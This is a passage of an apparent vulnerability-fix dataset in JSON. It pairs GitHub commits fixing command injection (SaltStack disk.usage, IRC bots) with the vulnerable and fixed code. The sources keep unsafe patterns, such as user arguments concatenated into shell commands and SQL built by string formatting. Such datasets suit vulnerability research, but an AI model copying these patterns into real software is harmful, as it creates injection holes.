\t\t\t\telse:\r \t\t\t\t\tsend=False\r \t\t\t\t\r \t\t\t\tself.quote_users[user].append(msg)\r \t\t\t\t\r \t\t\t\tif send:\r \t\t\t\t\treturn self.send_raw_message(\"PRIVMSG \" +user +\":Escribe.send cuando termines,.send_private para enviar quote privado, o.cancel para cancelar.\")\r \t\t\t\telse:\r \t\t\t\t\treturn self.accept()\r \t\t\telse:\r \t\t\t\tself.quote_users[user]=[msg]\r \t\t\t\treturn self.send_raw_message(\"PRIVMSG \" +user +\":Escribe.send cuando termines,.send_private para enviar quote privado, o.cancel para cancelar.\")\r \r \t\telse:\r \t\t\treturn self.ignore()\r ", "sourceWithComments": "from module import Module\r\nfrom response.response import Response\r\n\r\nimport hashlib\r\nimport requests\r\nimport json\r\nfrom datetime import date\r\n\r\nclass QDB2(Module):\r\n\tdef __init__(self):\r\n\t\tself.modname = \"Fearnode QDB\"\r\n\t\tself.qdb_api_post = \"http://qdb.vortigaunt.net/api/send/%s\"\r\n\t\tself.qdb_login = \"http://qdb.vortigaunt.net/login/%s\"\r\n\t\tself.qdb_api_read = \"http://qdb.vortigaunt.net/api/read/%s\"\r\n\t\tself.qdb_secret = \"[redacted]\"\r\n\t\tself.quote_users = {}\r\n\t\r\n\tdef parse(self, msg, cmd, user, arg):\r\n\t\tif cmd == \".read\":\r\n\t\t\tresponse = Response()\r\n\t\t\t\r\n\t\t\tresult = requests.get(self.qdb_api_read % arg[0])\r\n\t\t\ttry:\r\n\t\t\t\tresult = json.loads(result.content)\r\n\t\t\t\r\n\t\t\t\tif result['results'].has_key('success'):\r\n\t\t\t\t\tif result['results']['success'] == 1:\r\n\t\t\t\t\t\tquote = result['results']['data']['text'].split(\"\\n\")\r\n\t\t\t\t\t\tfor line in quote:\r\n\t\t\t\t\t\t\tresponse.add_action(self.send_message(line))\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tproblem = {'hidden_quote': 'The quote is hidden.', 'no_such_quote': 'No such quote exists.'}[result['results']['error']]\r\n\t\t\t\t\t\tresponse.add_action(self.send_message(\"Error: \" + problem))\r\n\t\t\texcept:\r\n\t\t\t\tresponse.add_action(self.send_message('wodim, arregla el qdb.'))\r\n\t\t\t\t\r\n\t\t\treturn self.multiple_response(response.generate_response())\r\n\t\tif cmd == \".password\":\r\n\t\t\tm = hashlib.md5()\r\n\t\t\tm.update(date.today().strftime(\"%d/%m/%Y\") + self.qdb_secret)\r\n\t\t\tpassword = m.hexdigest()[:8]\r\n\t\t\t\r\n\t\t\treturn self.send_message(self.qdb_login % password)\r\n\t\tif msg[:5] == \".send\":\r\n\t\t\tif user[:2] == \"**\":\r\n\t\t\t\tuser = user[2:].strip()\r\n\t\t\telse:\r\n\t\t\t\treturn self.ignore()\r\n\t\t\t\t\r\n\t\t\tif user not in self.quote_users:\r\n\t\t\t\t\treturn self.send_raw_message(\"PRIVMSG \" + user + \" :Pega un quote antes.\")\r\n\t\t\t\t\r\n\t\t\tquote = \"\"\r\n\t\t\tm = hashlib.md5()\r\n\t\t\tm.update(date.today().strftime(\"%d/%m/%Y\") + self.qdb_secret)\r\n\t\t\tpassword = m.hexdigest()[:8]\r\n\t\t\t\r\n\t\t\tif(msg[:13] == \".send_private\"):\r\n\t\t\t\tcomment = msg[13:]\r\n\t\t\t\tprivate = 1\r\n\t\t\telse:\r\n\t\t\t\tcomment = msg[5:]\r\n\t\t\t\tprivate = 0\r\n\t\t\t\t\r\n\t\t\tfor line in self.quote_users[user]:\r\n\t\t\t\tquote = quote + \"\\n\" + line\r\n\t\t\t\r\n\t\t\tif quote == \"\":\r\n\t\t\t\treturn self.ignore()\r\n\t\t\t\r\n\t\t\tpayload = {'nick': user + ' (bot)', 'text': quote, 'comment': comment, 'hidden': private}\r\n\t\t\tr = requests.post(self.qdb_api_post % password, data=payload)\r\n\t\t\tr = json.loads(r.content)\r\n\t\t\t\r\n\t\t\tself.quote_users[user] = []\r\n\t\t\treturn self.send_message(r['results']['url'] + \" \" + comment + \" (\" + user + \")\")\r\n\t\telif cmd == \".cancel\" and user[:2] == \"**\":\r\n\t\t\tuser = user[2:]\r\n\t\t\t\r\n\t\t\tself.quote_users[user] = []\r\n\t\t\treturn self.send_raw_message(\"PRIVMSG \" + user + \" :Hecho.\")\r\n\t\telif user[:2] == \"**\":\r\n\t\t\tuser = user[2:]\r\n\t\t\t\r\n\t\t\tif user in self.quote_users:\r\n\t\t\t\tif self.quote_users[user] == []:\r\n\t\t\t\t\tsend = True\r\n\t\t\t\telse:\r\n\t\t\t\t\tsend = False\r\n\t\t\t\t\r\n\t\t\t\tself.quote_users[user].append(msg)\r\n\t\t\t\t\r\n\t\t\t\tif send:\r\n\t\t\t\t\treturn self.send_raw_message(\"PRIVMSG \" + user + \" :Escribe .send cuando termines, .send_private para enviar quote privado, o .cancel para cancelar.\")\r\n\t\t\t\telse:\r\n\t\t\t\t\treturn self.accept()\r\n\t\t\telse:\r\n\t\t\t\tself.quote_users[user] = [msg]\r\n\t\t\t\treturn self.send_raw_message(\"PRIVMSG \" + user + \" :Escribe .send cuando termines, .send_private para enviar quote privado, o .cancel para cancelar.\")\r\n\r\n\t\telse:\r\n\t\t\treturn self.ignore()\r\n"}}, "msg": "Fixed IRC command injection vulnerability."}}, "https://github.com/mecavity/salt": {"ebdef37b7e5d2b95a01d34b211c61c61da67e46a": {"url": "https://api.github.com/repos/mecavity/salt/commits/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "html_url": "https://github.com/mecavity/salt/commit/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "message": "Fix command injection vulnerability in disk.usage", "sha": "ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "keyword": "command injection vulnerable", "diff": "diff --git a/salt/modules/disk.py b/salt/modules/disk.py\nindex 1bd7a37a42..2826204e3a 100644\n--- a/salt/modules/disk.py\n+++ b/salt/modules/disk.py\n@@ -31,6 +31,13 @@ def usage(args=None):\n \n salt '*' disk.usage\n '''\n+ flags = ''\n+ allowed = ('a', 'B', 'h', 'H', 'i', 'k', 'l', 'P', 't', 'T', 'x', 'v')\n+ for flag in args:\n+ if flag in allowed:\n+ flags += flag\n+ else:\n+ break\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n@@ -38,7 +45,7 @@ def usage(args=None):\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "files": {"/salt/modules/disk.py": {"changes": [{"diff": "\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "add": 1, "remove": 1, "filename": "/salt/modules/disk.py", "badparts": [" cmd = cmd + ' -' + args"], "goodparts": [" cmd += ' -{0}'.format(flags)"]}], "source": "\n ''' Module for gathering disk information ''' import logging import salt.utils log=logging.getLogger(__name__) def __virtual__(): ''' Only work on POSIX-like systems ''' if salt.utils.is_windows(): return False return 'disk' def usage(args=None): ''' Return usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.usage ''' if __grains__['kernel']=='Linux': cmd='df -P' elif __grains__['kernel']=='OpenBSD': cmd='df -kP' else: cmd='df' if args: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if not line: continue if line.startswith('Filesystem'): continue comps=line.split() while not comps[1].isdigit(): comps[0]='{0}{1}'.format(comps[0], comps[1]) comps.pop(1) try: if __grains__['kernel']=='Darwin': ret[comps[8]]={ 'filesystem': comps[0], '512-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], 'iused': comps[5], 'ifree': comps[6], '%iused': comps[7], } else: ret[comps[5]]={ 'filesystem': comps[0], '1K-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], } except IndexError: log.warn(\"Problem parsing disk usage information\") ret={} return ret def inodeusage(args=None): ''' Return inode usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.inodeusage ''' cmd='df -i' if args is not None: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if line.startswith('Filesystem'): continue comps=line.split() if not comps: continue try: if __grains__['kernel']=='OpenBSD': ret[comps[8]]={ 'inodes': int(comps[5]) +int(comps[6]), 'used': comps[5], 'free': comps[6], 'use': comps[7], 'filesystem': comps[0], } else: ret[comps[5]]={ 'inodes': comps[1], 'used': comps[2], 'free': comps[3], 'use': comps[4], 'filesystem': comps[0], } except(IndexError, ValueError): log.warn(\"Problem parsing inode usage information\") ret={} return ret ", "sourceWithComments": "# -*- coding: utf-8 -*-\n'''\nModule for gathering disk information\n'''\n\n# Import python libs\nimport logging\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only work on POSIX-like systems\n '''\n if salt.utils.is_windows():\n return False\n return 'disk'\n\n\ndef usage(args=None):\n '''\n Return usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.usage\n '''\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n cmd = 'df -kP'\n else:\n cmd = 'df'\n if args:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if not line:\n continue\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n while not comps[1].isdigit():\n comps[0] = '{0} {1}'.format(comps[0], comps[1])\n comps.pop(1)\n try:\n if __grains__['kernel'] == 'Darwin':\n ret[comps[8]] = {\n 'filesystem': comps[0],\n '512-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n 'iused': comps[5],\n 'ifree': comps[6],\n '%iused': comps[7],\n }\n else:\n ret[comps[5]] = {\n 'filesystem': comps[0],\n '1K-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n }\n except IndexError:\n log.warn(\"Problem parsing disk usage information\")\n ret = {}\n return ret\n\n\ndef inodeusage(args=None):\n '''\n Return inode usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.inodeusage\n '''\n cmd = 'df -i'\n if args is not None:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n # Don't choke on empty lines\n if not comps:\n continue\n\n try:\n if __grains__['kernel'] == 'OpenBSD':\n ret[comps[8]] = {\n 'inodes': int(comps[5]) + int(comps[6]),\n 'used': comps[5],\n 'free': comps[6],\n 'use': comps[7],\n 'filesystem': comps[0],\n }\n else:\n ret[comps[5]] = {\n 'inodes': comps[1],\n 'used': comps[2],\n 'free': comps[3],\n 'use': comps[4],\n 'filesystem': comps[0],\n }\n except (IndexError, ValueError):\n log.warn(\"Problem parsing inode usage information\")\n ret = {}\n return ret\n"}}, "msg": "Fix command injection vulnerability in disk.usage"}}, "https://github.com/vamshi98/salt-formulas": {"ebdef37b7e5d2b95a01d34b211c61c61da67e46a": {"url": "https://api.github.com/repos/vamshi98/salt-formulas/commits/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "html_url": "https://github.com/vamshi98/salt-formulas/commit/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "message": "Fix command injection vulnerability in disk.usage", "sha": "ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "keyword": "command injection vulnerable", "diff": "diff --git a/salt/modules/disk.py b/salt/modules/disk.py\nindex 1bd7a37a42..2826204e3a 100644\n--- a/salt/modules/disk.py\n+++ b/salt/modules/disk.py\n@@ -31,6 +31,13 @@ def usage(args=None):\n \n salt '*' disk.usage\n '''\n+ flags = ''\n+ allowed = ('a', 'B', 'h', 'H', 'i', 'k', 'l', 'P', 't', 'T', 'x', 'v')\n+ for flag in args:\n+ if flag in allowed:\n+ flags += flag\n+ else:\n+ break\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n@@ -38,7 +45,7 @@ def usage(args=None):\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "files": {"/salt/modules/disk.py": {"changes": [{"diff": "\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "add": 1, "remove": 1, "filename": "/salt/modules/disk.py", "badparts": [" cmd = cmd + ' -' + args"], "goodparts": [" cmd += ' -{0}'.format(flags)"]}], "source": "\n ''' Module for gathering disk information ''' import logging import salt.utils log=logging.getLogger(__name__) def __virtual__(): ''' Only work on POSIX-like systems ''' if salt.utils.is_windows(): return False return 'disk' def usage(args=None): ''' Return usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.usage ''' if __grains__['kernel']=='Linux': cmd='df -P' elif __grains__['kernel']=='OpenBSD': cmd='df -kP' else: cmd='df' if args: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if not line: continue if line.startswith('Filesystem'): continue comps=line.split() while not comps[1].isdigit(): comps[0]='{0}{1}'.format(comps[0], comps[1]) comps.pop(1) try: if __grains__['kernel']=='Darwin': ret[comps[8]]={ 'filesystem': comps[0], '512-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], 'iused': comps[5], 'ifree': comps[6], '%iused': comps[7], } else: ret[comps[5]]={ 'filesystem': comps[0], '1K-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], } except IndexError: log.warn(\"Problem parsing disk usage information\") ret={} return ret def inodeusage(args=None): ''' Return inode usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.inodeusage ''' cmd='df -i' if args is not None: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if line.startswith('Filesystem'): continue comps=line.split() if not comps: continue try: if __grains__['kernel']=='OpenBSD': ret[comps[8]]={ 'inodes': int(comps[5]) +int(comps[6]), 'used': comps[5], 'free': comps[6], 'use': comps[7], 'filesystem': comps[0], } else: ret[comps[5]]={ 'inodes': comps[1], 'used': comps[2], 'free': comps[3], 'use': comps[4], 'filesystem': comps[0], } except(IndexError, ValueError): log.warn(\"Problem parsing inode usage information\") ret={} return ret ", "sourceWithComments": "# -*- coding: utf-8 -*-\n'''\nModule for gathering disk information\n'''\n\n# Import python libs\nimport logging\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only work on POSIX-like systems\n '''\n if salt.utils.is_windows():\n return False\n return 'disk'\n\n\ndef usage(args=None):\n '''\n Return usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.usage\n '''\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n cmd = 'df -kP'\n else:\n cmd = 'df'\n if args:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if not line:\n continue\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n while not comps[1].isdigit():\n comps[0] = '{0} {1}'.format(comps[0], comps[1])\n comps.pop(1)\n try:\n if __grains__['kernel'] == 'Darwin':\n ret[comps[8]] = {\n 'filesystem': comps[0],\n '512-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n 'iused': comps[5],\n 'ifree': comps[6],\n '%iused': comps[7],\n }\n else:\n ret[comps[5]] = {\n 'filesystem': comps[0],\n '1K-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n }\n except IndexError:\n log.warn(\"Problem parsing disk usage information\")\n ret = {}\n return ret\n\n\ndef inodeusage(args=None):\n '''\n Return inode usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.inodeusage\n '''\n cmd = 'df -i'\n if args is not None:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n # Don't choke on empty lines\n if not comps:\n continue\n\n try:\n if __grains__['kernel'] == 'OpenBSD':\n ret[comps[8]] = {\n 'inodes': int(comps[5]) + int(comps[6]),\n 'used': comps[5],\n 'free': comps[6],\n 'use': comps[7],\n 'filesystem': comps[0],\n }\n else:\n ret[comps[5]] = {\n 'inodes': comps[1],\n 'used': comps[2],\n 'free': comps[3],\n 'use': comps[4],\n 'filesystem': comps[0],\n }\n except (IndexError, ValueError):\n log.warn(\"Problem parsing inode usage information\")\n ret = {}\n return ret\n"}}, "msg": "Fix command injection vulnerability in disk.usage"}}, "https://github.com/makinacorpus/salt": {"ebdef37b7e5d2b95a01d34b211c61c61da67e46a": {"url": "https://api.github.com/repos/makinacorpus/salt/commits/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "html_url": "https://github.com/makinacorpus/salt/commit/ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "message": "Fix command injection vulnerability in disk.usage", "sha": "ebdef37b7e5d2b95a01d34b211c61c61da67e46a", "keyword": "command injection vulnerable", "diff": "diff --git a/salt/modules/disk.py b/salt/modules/disk.py\nindex 1bd7a37a42..2826204e3a 100644\n--- a/salt/modules/disk.py\n+++ b/salt/modules/disk.py\n@@ -31,6 +31,13 @@ def usage(args=None):\n \n salt '*' disk.usage\n '''\n+ flags = ''\n+ allowed = ('a', 'B', 'h', 'H', 'i', 'k', 'l', 'P', 't', 'T', 'x', 'v')\n+ for flag in args:\n+ if flag in allowed:\n+ flags += flag\n+ else:\n+ break\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n@@ -38,7 +45,7 @@ def usage(args=None):\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "files": {"/salt/modules/disk.py": {"changes": [{"diff": "\n else:\n cmd = 'df'\n if args:\n- cmd = cmd + ' -' + args\n+ cmd += ' -{0}'.format(flags)\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n", "add": 1, "remove": 1, "filename": "/salt/modules/disk.py", "badparts": [" cmd = cmd + ' -' + args"], "goodparts": [" cmd += ' -{0}'.format(flags)"]}], "source": "\n ''' Module for gathering disk information ''' import logging import salt.utils log=logging.getLogger(__name__) def __virtual__(): ''' Only work on POSIX-like systems ''' if salt.utils.is_windows(): return False return 'disk' def usage(args=None): ''' Return usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.usage ''' if __grains__['kernel']=='Linux': cmd='df -P' elif __grains__['kernel']=='OpenBSD': cmd='df -kP' else: cmd='df' if args: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if not line: continue if line.startswith('Filesystem'): continue comps=line.split() while not comps[1].isdigit(): comps[0]='{0}{1}'.format(comps[0], comps[1]) comps.pop(1) try: if __grains__['kernel']=='Darwin': ret[comps[8]]={ 'filesystem': comps[0], '512-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], 'iused': comps[5], 'ifree': comps[6], '%iused': comps[7], } else: ret[comps[5]]={ 'filesystem': comps[0], '1K-blocks': comps[1], 'used': comps[2], 'available': comps[3], 'capacity': comps[4], } except IndexError: log.warn(\"Problem parsing disk usage information\") ret={} return ret def inodeusage(args=None): ''' Return inode usage information for volumes mounted on this minion CLI Example: .. code-block:: bash salt '*' disk.inodeusage ''' cmd='df -i' if args is not None: cmd=cmd +' -' +args ret={} out=__salt__['cmd.run'](cmd).splitlines() for line in out: if line.startswith('Filesystem'): continue comps=line.split() if not comps: continue try: if __grains__['kernel']=='OpenBSD': ret[comps[8]]={ 'inodes': int(comps[5]) +int(comps[6]), 'used': comps[5], 'free': comps[6], 'use': comps[7], 'filesystem': comps[0], } else: ret[comps[5]]={ 'inodes': comps[1], 'used': comps[2], 'free': comps[3], 'use': comps[4], 'filesystem': comps[0], } except(IndexError, ValueError): log.warn(\"Problem parsing inode usage information\") ret={} return ret ", "sourceWithComments": "# -*- coding: utf-8 -*-\n'''\nModule for gathering disk information\n'''\n\n# Import python libs\nimport logging\n\n# Import salt libs\nimport salt.utils\n\nlog = logging.getLogger(__name__)\n\n\ndef __virtual__():\n '''\n Only work on POSIX-like systems\n '''\n if salt.utils.is_windows():\n return False\n return 'disk'\n\n\ndef usage(args=None):\n '''\n Return usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.usage\n '''\n if __grains__['kernel'] == 'Linux':\n cmd = 'df -P'\n elif __grains__['kernel'] == 'OpenBSD':\n cmd = 'df -kP'\n else:\n cmd = 'df'\n if args:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if not line:\n continue\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n while not comps[1].isdigit():\n comps[0] = '{0} {1}'.format(comps[0], comps[1])\n comps.pop(1)\n try:\n if __grains__['kernel'] == 'Darwin':\n ret[comps[8]] = {\n 'filesystem': comps[0],\n '512-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n 'iused': comps[5],\n 'ifree': comps[6],\n '%iused': comps[7],\n }\n else:\n ret[comps[5]] = {\n 'filesystem': comps[0],\n '1K-blocks': comps[1],\n 'used': comps[2],\n 'available': comps[3],\n 'capacity': comps[4],\n }\n except IndexError:\n log.warn(\"Problem parsing disk usage information\")\n ret = {}\n return ret\n\n\ndef inodeusage(args=None):\n '''\n Return inode usage information for volumes mounted on this minion\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' disk.inodeusage\n '''\n cmd = 'df -i'\n if args is not None:\n cmd = cmd + ' -' + args\n ret = {}\n out = __salt__['cmd.run'](cmd).splitlines()\n for line in out:\n if line.startswith('Filesystem'):\n continue\n comps = line.split()\n # Don't choke on empty lines\n if not comps:\n continue\n\n try:\n if __grains__['kernel'] == 'OpenBSD':\n ret[comps[8]] = {\n 'inodes': int(comps[5]) + int(comps[6]),\n 'used': comps[5],\n 'free': comps[6],\n 'use': comps[7],\n 'filesystem': comps[0],\n }\n else:\n ret[comps[5]] = {\n 'inodes': comps[1],\n 'used': comps[2],\n 'free': comps[3],\n 'use': comps[4],\n 'filesystem': comps[0],\n }\n except (IndexError, ValueError):\n log.warn(\"Problem parsing inode usage information\")\n ret = {}\n return ret\n"}}, "msg": "Fix command injection vulnerability in disk.usage"}}, "https://github.com/julianolf/PythonBot": {"b551cd0cd87c3df45fc7787828f3bdd6422a7c72": {"url": "https://api.github.com/repos/julianolf/PythonBot/commits/b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "html_url": "https://github.com/julianolf/PythonBot/commit/b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "message": "Emergency fix to IRC command injection vulnerability\n\nSigned-off-by: Eduardo Habkost ", "sha": "b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "keyword": "command injection vulnerable", "diff": "diff --git a/bot_sql.py b/bot_sql.py\nindex 88e91eb..80055c7 100755\n--- a/bot_sql.py\n+++ b/bot_sql.py\n@@ -134,7 +134,7 @@ def get_data(self):\n \t\ttry:\n \t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n \t\t\turlObj = urllib2.urlopen(reqObj)\n-\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n+\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")\n \t\texcept:\n \t\t\tprint \"Unexpected error:\", sys.exc_info()\n \t\t\treturn \"Fail in get\"\n", "files": {"/bot_sql.py": {"changes": [{"diff": "\n \t\ttry:\n \t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n \t\t\turlObj = urllib2.urlopen(reqObj)\n-\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n+\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")\n \t\texcept:\n \t\t\tprint \"Unexpected error:\", sys.exc_info()\n \t\t\treturn \"Fail in get\"\n", "add": 1, "remove": 1, "filename": "/bot_sql.py", "badparts": ["\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")"], "goodparts": ["\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")"]}], "source": "\n import re import socket import sys import urllib2 import os import time from pysqlite2 import dbapi2 as sqlite channel=' nick='carcereiro' server='irc.oftc.net' def sendmsg(msg): sock.send('PRIVMSG '+channel +':' +str(msg) +'\\r\\n') class db(): \tdef __init__(self, dbfile): \t\tif not os.path.exists(dbfile): \t\t\tself.conn=sqlite.connect(dbfile) \t\t\tself.cursor=self.conn.cursor() \t\t\tself.create_table() \t\tself.conn=sqlite.connect(dbfile) \t\tself.cursor=self.conn.cursor() \tdef close(self): \t\tself.cursor.close() \t\tself.conn.close() \tdef create_table(self): \t\tself.cursor.execute('CREATE TABLE karma(nome VARCHAR(30) PRIMARY KEY, total INTEGER);') \t\tself.cursor.execute('CREATE TABLE url(nome VARCHAR(30) PRIMARY KEY, total INTEGER);') \t\tself.cursor.execute('CREATE TABLE slack(nome VARCHAR(30), total INTEGER, data DATE, PRIMARY KEY(data, nome));') \t\tself.conn.commit() \tdef insert_karma(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO karma(nome,total) VALUES('%s', %d);\" %(nome,total)) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\t \t\t\treturn False \tdef increment_karma(self,nome): \t\tif not self.insert_karma(nome,1): \t\t\tself.cursor.execute(\"UPDATE karma SET total=total +1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef decrement_karma(self,nome): \t\tif not self.insert_karma(nome,-1): \t\t\tself.cursor.execute(\"UPDATE karma SET total=total -1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef insert_url(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO url(nome,total) VALUES('%s', %d);\" %(nome,total)) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\treturn False \tdef increment_url(self,nome): \t\tif not self.insert_url(nome,1): \t\t\tself.cursor.execute(\"UPDATE url SET total=total +1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef insert_slack(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO slack(nome,total,data) VALUES('%s', %d, '%s');\" %(nome,total,time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\treturn False \tdef increment_slack(self,nome,total): \t\tif not self.insert_slack(nome,total): \t\t\tself.cursor.execute(\"UPDATE slack SET total=total +%d where nome='%s' and data='%s' ;\" %(total,nome,time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\t\tself.conn.commit() \tdef get_karmas_count(self): \t\tself.cursor.execute('SELECT nome,total FROM karma order by total desc') \t\tkarmas='' \t\tfor linha in self.cursor: \t\t\tif len(karmas)==0: \t\t\t\tkarmas=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\tkarmas=karmas +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn karmas \tdef get_karmas(self): \t\tself.cursor.execute('SELECT nome FROM karma order by total desc') \t\tkarmas='' \t\tfor linha in self.cursor: \t\t\tif len(karmas)==0: \t\t\t\tkarmas=(linha[0]) \t\t\telse:\t \t\t\t\tkarmas=karmas +', ' +(linha[0]) \t\treturn karmas \tdef get_karma(self, nome): \t\tself.cursor.execute(\"SELECT total FROM karma where nome='%s'\" %(nome)) \t\tfor linha in self.cursor: \t\t\t\treturn(linha[0]) \tdef get_urls_count(self): \t\tself.cursor.execute('SELECT nome,total FROM url order by total desc') \t\turls='' \t\tfor linha in self.cursor: \t\t\tif len(urls)==0: \t\t\t\turls=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\turls=urls +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn urls \tdef get_slacker_count(self): \t\tself.cursor.execute(\"SELECT nome,total FROM slack where data='%s' order by total desc\" %(time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\tslackers='' \t\tfor linha in self.cursor: \t\t\tif len(slackers)==0: \t\t\t\tslackers=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\tslackers=slackers +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn slackers class html: \tdef __init__(self, url): \t\tself.url=url \t\tself.feed=None \t\tself.headers={ \t 'User-Agent': 'Mozilla/5.0(X11; U; Linux i686; en-US; rv:1.7.10)', \t 'Accept-Language': 'pt-br,en-us,en', \t'Accept-Charset': 'utf-8,ISO-8859-1' \t } \tdef title(self): \t\tself.feed=self.get_data() \t\ttitle_pattern=re.compile(r\"<[Tt][Ii][Tt][Ll][Ee]>(.*)\", re.UNICODE) \t\ttitle_search=title_pattern.search(self.feed) \t\tif title_search is not None: \t\t\ttry: \t\t\t\treturn \"[ \"+re.sub(\"& \t\t\texcept: \t\t\t\tprint \"Unexpected error:\", sys.exc_info()[0] \t\t\t\treturn \"[ 